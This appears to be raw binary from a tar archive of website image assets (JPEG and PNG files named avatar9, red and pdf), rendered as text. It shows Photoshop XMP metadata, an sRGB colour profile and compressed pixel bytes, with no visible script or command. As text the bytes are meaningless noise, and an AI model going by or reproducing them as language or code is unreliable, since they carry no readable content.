�k�^���T�Oȡ��Šl�cdXA亞��s.+�^���2���H^"�����}MH$�����������mT�Pj��t|la�W������])G���g�(�g���k�CwQq�!;E��5}�H�K|�컝�
�w$��U�^k�!Y'B��-pࠫmg�e0��2��;3�~���D���^<S+��6�B�ѫ>�(�V�rI-0t)nAH߇S�G'����-=�nJ�o)��bd�af[�s�:x.�y�[��H�Ϯ��V���K���$�OsG�����6�uJ��c{YӺ�I���iy��x�ɒ9�*춫E�ά���O/���Ta�-��9y�H���tWk�n8�o1�e�tϯ?V��my�3!ݬֲ����W|98)��Ŵ��I�YQ�#��Ի��r�䔒R�=�$�a�pa�6��}꼧ܒ[_ik��l���?�i�*��*�e�+iw�$�d�h�
���4:5f��/�g�yWE�����%�܆�-K:uղ������Ϥ�9̉��R!A�~� ���������x �|J��'ܑ���w�8�q�%TΤU`��4��M,�SԾ���8��-�i�,�c
�̚�?�	o���~�uں�N8yPs�:y}�b������,����/��Nx��eيy��K��t�t�^��"�������P���վ�et�}|W���0��X��\[���.�r�of�ZH�X�-pj��?;��a='6����y��^���6ʝ�֚�����*,��}Xv�U�[8Y~�t�
�{:�(������y����8�=��,�/��W��s�)�����j�1zV#��}_��ڇ0����1!�is���x*�=7*�_=O��kWUu
��0x��*�5�z���y{���\
kD4��	��X���Tr��9ټYgfW���H�7\;�t}-<<��2��]}��
}�_�>�亇֎�{�����Q�i|��-�W���`gf�[rH�#�\�\7x���3�.K�}pcoO������K��_J���9��i�4��`�֭|���
w��4n5̸�����V��~���a��D�BGR�b�s�I?�e�M������RJ��?����t�Y��:��~k&t���=#���OP�?�����o����/m�G��S��wUsf;��s���k�]����/�~��|af�i<2���J"��vQ]�,{C��C�x �XY�Wqrk�
��}�y�5����tP�m,��[�:�9p�K|é�Q�s�轸}F��[�v�����z���}_h����t/_��̆���@{�#Ż��:u74��HR�'�i���a����ռ~V9iP��k�gOͻ��kYY��v�]�]S����.s=�=��X�}[�8�W!���?�*��M!x�.�Y~�VNE7�u@�+g�x�"�]����_�����zgYpۑ�Y<����zޣ�Z�š���'q�!Z�>U�G�u�1�/i��F�+�ZH��E��=ޥ��8����ٺ�gض��X���s����cB�ڛ٣�Tx	�u��GM¨����cN�|����v�Kkom�?�1��L(�����ZI+W���!�����Z�����oބ�]��V�.
ԘIf8�L��������9c���3�u/Xm;\�Bf�(��0F��%&�\a����u~��l�~��6�ysG]H^к��#�חQ Lj^�Ӻ�'Pï*��x�x��uo@<�ja�!��P����+l�����^�GIٶ4P7X�\P����\M�U)%:V�����,wt$�2.q䤣)�%.�iM))���:������r��w�a���	l��¦�K�ݗ�}H��>k�RM*;>���$����|��J~�	��$���r�xI%?C�_<�����_<�����_<�����8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-26T00:19:26-08:00" xmp:MetadataDate="2014-01-26T00:19:26-08:00" xmp:ModifyDate="2014-01-26T00:19:26-08:00" xmpMM:InstanceID="xmp.iid:9aa97136-3b09-e843-9bdb-f9b513d990c2" xmpMM:DocumentID="xmp.did:c680a596-94d6-e14a-9411-b2ed67c41989" xmpMM:OriginalDocumentID="xmp.did:c680a596-94d6-e14a-9411-b2ed67c41989" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:c680a596-94d6-e14a-9411-b2ed67c41989" stEvt:when="2014-01-26T00:19:26-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:9aa97136-3b09-e843-9bdb-f9b513d990c2" stEvt:when="2014-01-26T00:19:26-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed���		





��a������	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�v�ј�1�
����p6�\X{FӀq„�+�%���TTw6�Ќ*��Xm�*�����m-��a��G�<I��yA!(Oz`1O�?,�J���"�j��"������ڭ� -A�1�6bLc[��s*2ӾJ1IR��H�q���w��S�����̥§S�
�mL�ge*���d"^��}*�%R��+!�E���('&7���^<�
��X�Ok"GP����[i:�Oŋ��M'V�v�@毋Nl-�#a��Šd��Pd�H��
bL*��z�UcC�B].�N�&�Sh00#��Y	$z���nc*c�dx���s�)9�s�
l0����b�Pv�"�G�g/��88V�G���	eH��J-�z����zKG_�em���z���ljx_�ў�w^��Fو�,t��'�2��B&=.�a�(�ӡ�\<(���-���[8���"�ӛ}¶�ح�fٰRQ)��kUO�mM�T$��	���9hK���H�b�r[�F*��G���8)m$Լ�ap
b�2aڿ�j���Ő���^�dO��A�NBQn�қ��[b�`�\���I���O���<�q�`7O9)��i��Nco|��Jrk�k���lm�O0���OӍ��{�?k���h�q3��'�#�U�U���m�<{Q����	��i�_�,�V���R�����~����:7>���[�=�Wz���da��*����pj� RK��s�A��$��Ӎ�k�rf����%���3��v���\,�zǗ|��/2F�h��<���f���Y�Bx��ni2�=�Ӌ�d�x|Ux|R�>*�<Uw,UűW	5��)DE��G��
��IE&��_q�m��R�w7���m���QUE�S\�;9SFO��Zd4��'����"�?���A���>�#��
�*��smt���]���;x��z_�??������u�4�t*�}�#H1���g����_)����A��㕹of�Y���Ŝ�n.�^;�6[�f!GLZ�HP���b�I��{���Ws�]�l>*�P���`���H|@���S�//߂Y�#��� 'Ka�$�է�>�
2A�r�@Le�o;}�SlGRQmy5�p�CĽ<u�镲K$��0����xR���1�y����MΤ�^���k�#Y[��!&L���z��#=��n�T�c�dmLN]1m�è[�J���_��V��~����˺�ƚ�BD��o��j�,�����B��=^�6:���L�Il��[&$�,A�_�<��t��j�_���?W�_c���ai�2��qm!��'�A�.
�ص��qK~�*�n������Mm<��OC(�V�?�H	�����MQ��R��q_㆙���$P#p�:�aKk!�ފzW��P����a���;d��h�A�de09�0%�y��U��l�������Ce2���=�_��
N�V�ֻi��UvD�k���(����!���혶�(��z2AO���	}Q�#�o9yt�:�V��
���d/���\�VI��\i:�00�[���'����T�n��3Ŧ�Bʴ��M�����ŰI��]j�5������� Z)u ��2<,�xMS�=�]㺅�r��WJBY�������Ķ�_��M)v�����;���HM��6ѿ6?/�iR�U[�'�,W�����I���
2��
/ʺD�%��HD��0�+Z�a�\�{Kkd�K��)�*�aV��#�H�>g�M$Z���{�a=��`��֮~N�ʥ���%�a���m�6~X�����n_5?ݳ���/��r7)o�T��V���ۦ��q�}����kUw�¹H���x��M��\w�w���[��:�8~�|x���8�V����K����Z�u�R7�e���.�K���id΃�vCs<c�A�Z��[��LHg�����p��W� AcH�,��(��R�l��9�j�x�fH�ۍ��dJ_l�c�:W��=sLp���/to�F�)NشHQGOco<OѬ�H�d��C)؃�!��ߗzV��k�cV&MP�E"�Z�2x�!Tω�f���$y��*i>b��z�|6�1��2����g�o����t�1�Z�}T��f��`?!�'�gi�i�е��\6��ʻ�����L�d�3j�}�sh:�֒�"A��(E��p�Ȅ�e��W�
�څ����=�
����>Y�����.����+�G~R�O�1��W�~��^t�o/�n�d6�b��J�<G�4吔���Vȭ�72�g����Wg�?�,��zx)T�'T�Wa��Ճ2���,#��֕�Ӗc��)�r{�1��[�:	=� �,��B�
�����vƲ��r�އ�$�S$�̊����P����pzY��W��`�J�ŝ�F��H/^��z��
���:���uv��;
���l>��
?Z�!��h&�n�6eaє�a��Ћo�a��9naY�5!��KO�)C_�r��
�b����y��wF�+$����̧�u�8���3a�?��a�����	|��yU̔)$A��W"E�	2-yg�r����4@7�ys�� q�^ g�>P�x�]��"����O���$1'*oc�]*��Ov�=y*�eE��LcB�%�b��mҢ���`8�"�
�b����t<�X�i&���A���ZBɩݿ��x
�Zi�H�Vb~x���l�_��C ����OQ�d
���`HD�6̦��2�����}y����j��z}��Μ�7��H�`��G�ԁ���(EF*��ac�?A#M����_L�V����m(Q�A�*�t?�}8����_�����@�q�ZP�P����˦J��F�qV��qWm���U�w�_������zdY��¡w��D���������+y��T�r���:��B|�j�s�ZV����[L�%P]k�Z����G��d��_�<KJ���Z��q&��kw-�O�%�����9�ik��l��«�b�
���k�*�X�A�����z��}9�0����H(�#�lU��!P���/�$?��Օ�lf��UqUe�U*�b��lU���O��]��
�4zb��0+��images/avatar9.jpg000060400000031513150710775200010065 0ustar00����ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:29 04:56:03��,�,&(.hHH���Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�:et[���I'�Ѻ&oX}�U�ʘ����k�����U�.}M�-kdƄ��Y�f�c�<JH�|O�T��՞<GYn��Xh�53�G�;�u\jFS����#���	'�ʭ�������"tՐt/	��ܚM��׍4�t̬�n���j4�y5��o�w-]�["F�%Fc��������ж�6��+���v��Z{�~��r3�ӏq��hkklG�VX�.�s.�#PA��+K'1̡���ll����r��/M�Z�ٯ�z/P��m}�����O}K���~�c߾˞Y �9�"?;��b�vXqw���GAk�ã��nVi�[F�l0;i>}ڜd�t֜k�ki빙��ֻ�_�sZ\������=��K 8�<�\����������3��l��x����#n1f�h��U�eb�~��,�Sk@e��Ɵ�r�韵?n`������}��=��[?[g}��n��ϒτ`�\_Jf�~���d����ڹ��9eٓNf`�	��R	�ƈxԮ&��z���Jt�j�~���进���3l�*7�-���sD���߻w���y�DŽO�����*͠:����
�Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI,,
Untitled-1,,nullboundsObjcRct1Top longLeftlongBtomlong,Rghtlong,slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong,Rghtlong,urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM�,,��h���Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�:et[���I'�Ѻ&oX}�U�ʘ����k�����U�.}M�-kdƄ��Y�f�c�<JH�|O�T��՞<GYn��Xh�53�G�;�u\jFS����#���	'�ʭ�������"tՐt/	��ܚM��׍4�t̬�n���j4�y5��o�w-]�["F�%Fc��������ж�6��+���v��Z{�~��r3�ӏq��hkklG�VX�.�s.�#PA��+K'1̡���ll����r��/M�Z�ٯ�z/P��m}�����O}K���~�c߾˞Y �9�"?;��b�vXqw���GAk�ã��nVi�[F�l0;i>}ڜd�t֜k�ki빙��ֻ�_�sZ\������=��K 8�<�\����������3��l��x����#n1f�h��U�eb�~��,�Sk@e��Ɵ�r�韵?n`������}��=��[?[g}��n��ϒτ`�\_Jf�~���d����ڹ��9eٓNf`�	��R	�ƈxԮ&��z���Jt�j�~���进���3l�*7�-���sD���߻w���y�DŽO�����*͠:���8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��khttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-29T04:56:03-08:00" xmp:MetadataDate="2014-01-29T04:56:03-08:00" xmp:ModifyDate="2014-01-29T04:56:03-08:00" xmpMM:InstanceID="xmp.iid:bebc5f44-e321-4143-b9c1-464315c5a1ad" xmpMM:DocumentID="xmp.did:fccb937d-fa57-1c46-9239-12eb457fb32a" xmpMM:OriginalDocumentID="xmp.did:fccb937d-fa57-1c46-9239-12eb457fb32a" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" dc:format="image/jpeg"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:fccb937d-fa57-1c46-9239-12eb457fb32a" stEvt:when="2014-01-29T04:56:03-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:bebc5f44-e321-4143-b9c1-464315c5a1ad" stEvt:when="2014-01-29T04:56:03-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>62E2EE3BC8AA8E474FF46071B1390BE8</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
��,,"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?4hmf�!��'�W˾Z�|�%�*Rۀvb�nU���dQ��2�M��B��4�X�T΃����:u�(�,*X��o����dnv�*<Gy���|�W�-n��;�P8�O_g+R��el/�A*�f�EA<zm����ᒸ
뒎M�'p2f����Ma|���h���f�l7��އ��u��o���m�b�ւQ�O�q�c���{�Ӑ�JW�e& f��}�/���[���0��f�Xg��P�e���I<��˽]��Z�@�ҝ:А0�j�`�\��ԩ
у'�������q�cJ#R��f
�m�Y��?I���6�ߚG��Kr�SO�LB�Է݅ZN��;�V[�Z"Aui��|����U����O~,�ѝ�S�|5b�8:�\�{P��,ч�O�7Z��JR��r�,nC�����ږ�>4V�"�F�����P}_�\>���I"��bE���cJ���*���#�}
��߼�+p<Hx��V���9��\�2����§�{�/-��-A�VӢ��=J���dkF�5�%�~��p�ּ���G.���&��菨K�V��u���F8��>#�B>�#K~�t�O����I�Fd��5��W���Եm�8k[`L�"�v��;q\��~��E>��W���tέ�O�?��������޽���>}ƕ��d1ȋZ
PmLG��<���U�M9u4�N5�k�U1O�����|~�T=��images/red.png000060400000002754150710775200007301 0ustar00�PNG


IHDR�`���IDATx^��ohUu��әՌ��%!EN�,��!&%�e�P����R"}*h�&I�{&ٚ:5��g��MͿ��V�`S{���7���s�/vϏ{~�x}���9o�×s��z�Ɏ?n�LG-��n�L���H�J�>�b�ۡ����Kw�?��b&������3N�L�.��i��Z�VI�jt��`����{����5���
P*�P�$.�<�%	;����vS�"�,�bss�tY��f)��3!�-hV�k��jΰ/b%	�t`8D�i�G���n��I��e�nڍaZ�%�ӑZ^o]Z�.
�dPcD.�,���`�:g��)�&�n�x%hɤX�V"��=�������Zhr֭�؝�ˮ��h-Ե�Ⱥ�11��DL��C��i��؍�+հK��T�H*t,�l4�������Q�K�D�\�t,i�M
�]�£��˘V��<vD�-�*�B9jЊiձrt��j�R�뭫Vj
0�t/c�Љ�t��:��
��wY�t7�|�&,E_��В!0�'�4��<��q
�)��tGc�yBn���:�:44h媛��U|2^B�s�F=���	�W��2�/pء}_ږc���"���б[j�̒eZ�_L�Ա[��X$SQ���d���lyg��	��F����$yK���H��&��c�-s��{(ƽz��c7n���:�ܸc��(�܍~��ڛ';����`��iDZLˋ��z�/i���A��!���}
v�9v��q�c��E��1�3.����j��z�f;^���=�l�����J�N�[�M��Ƣ�F��O�Y5I�M��[T���J	B/��W-oC��<���u�-��zةs�dx:y�t�8v����n�<�Y�
6�Y��qy�?fcz�	��k5�Yp{���B��_�K����p{�9��n��oiC�K7�(�N4��c�=��<\^��s0T�vyl5���y�m˱�@
��	�n����`��Q˭�DVH��7�1D=�`7���]�<u�b�]^G�i��؉'3�`��B�K�\w��/�av��p.5N����h2v��=~�`׮\��I8v�
�帼	�z�镠
�Q���L���4kS?�޽�ui��H�;��y��8
%�c�tNzԸ��.Nw��&���&�;(��9���kw@6]و���F��ki�a�6�.�KC]@�#����	4?����İ
^ƴr�m��m�e��e�Z�k5�u�`_�}�U7��X�P����[W�ԜB��n�Z޻<%�$�wQ��Nf�]���ۋ]h@�C�
���w�{��Bb
,F��*\窮yA
�����f��p����Z
�]��v���W��,���:����3�wO`-���rI�uΉ\tY\u
��n�x�{W��wY�l><~%!&�nG%�������?��Ϣ���/(KoV��j�IEND�B`�images/pdf.jpg000060400000045646150710775200007303 0ustar00����ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:26 00:12:19����a&(.bHH���Adobe_CM��Adobed����			



��a�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�T�I%)$�IJI$�R�I$���L��q�2��M@'��=ձ��+G=��1��uV
�c�潺�F���wo��c�F�����Yl̊+x��k]�m�1䜌�A3
��:�-�1�_rx!�q�Iz�����I)�$�I)I$�JRI$���I$���T�I%)$�IJI$�R�I$��ߩ��*-:�#�l�?�Z��l̪G��,g���U��^��}���?�0j�i#ƷY�T�F�fa���̫,h=�c���U\R��<}�r�(��1�����_���'��Jӎ��I%)$�IJI$�R�I$����T�I%)$�IN\��WG�?���Tg�[�h��{he�n�o�-��[z�O��}a�2��z�h�i�s�x̿d�l�-���>��e�/�7ct���Qx�y��}�m_�g�/k�S��g�����}�����ي��n�!�ݻ�'���l�=+��/w�][���;wn��-�m����k����+��a�k�����c~����ڧ��̌l��
�]FV�o��DZ�{�V������S��'㎍S,�y�4�;��gk�~��z(�s��"��lk��{��s]v����_����8�8V�e��-�Ǜ{I�,�n�ko�!t�ܦ[ӭƿ��Q`��^�M#u~�/��&6��7��P�Df9l��M�F\�yA)��'�~����X���N���/_��V�\������1��e�{�:�MvS����
������s�0~�ͬT��c��_e�����=����S�k���98o�<����ޝ��02Y�I�[e������Y^�3J�B������d�n���Ԝ���E�w�m�
c�܍g�γoU��/�}�t���m�K*�Cs=���b�0�iq�����W��U�G�;��U�Yj��׿dcc�[G�NC�]��Ϳ�I�4��H�F���I$���I%)$�IO��T�I%)$�IO=��]�Ӻ��잫u��c$�.n�3�ֻس(�����+3'��O�v��y����~�[n�w.�$��P��>��ʝ����y�c����VC?3�u��o��CzNfGXϢ��ղ���Zך��C�:q۵��k?yz�z�����E}:�N"� ӿ�N�
j<��9��#�G>I{��(���7�#��֓g��Zɳ��̪rj�
�xfc�=;d?)�ne�iQ���Kp��G#ޝ���l�6��6��w�-�E�����˱0���K
/!�v�,|���
�l���Y��4����1)�5��F�o/��9�hL�K�����G��Q��e}R�.\�F�d����̱�s����Az.N9�����~;�e��%�5������[�eg�a�SWB�O�m;�{�Z��N����W�I�=���m�g��U��Բb,�M���S���p�3��ss5��@�,��C۔�	K�]N��3��F[̡�3���q���o�6۷��ƭ���2zX������[]�5�����w������ީԺ��_8V��n�~3eky�V��h{:���A���K`�\ d<�|�����nb����	.a��p�N��u\V���ho�9�5�:�ө!>+����M<�=�2C,eu,g�z2��I'��$�IO��T�I%)$�IJI+/��d�*��.{�%9�}i��s��%RK�m�5�K���{�%0
o#���b��&.8�3?���9���������S��r&�c��Y�Z�ϋ����^���f`u���,���s���\
֯��fΕ����GW��w��߀��
zg!��aF�������`"sd����D�?��ᗣ��8u}N�^����z��ߐ�u��v�ll,F�Ţ�G��R���p���s��9��$�?v�H|�I$��\~��S�u_e�O6��w���;�LY-����=#������@�����K�IE,�o��x�O���/�sX�2q�7��'˱�Y麪��Q��=�w�ɱ�[�ү���B���M�,ղ��pޤ�x�<��^�|Cc���I'�)$�IO��T�I%)$�IOM�[z�q-�=�@�<��*�إG�V����w��A
��ѧo�?�=?��n����q�~u�X��u
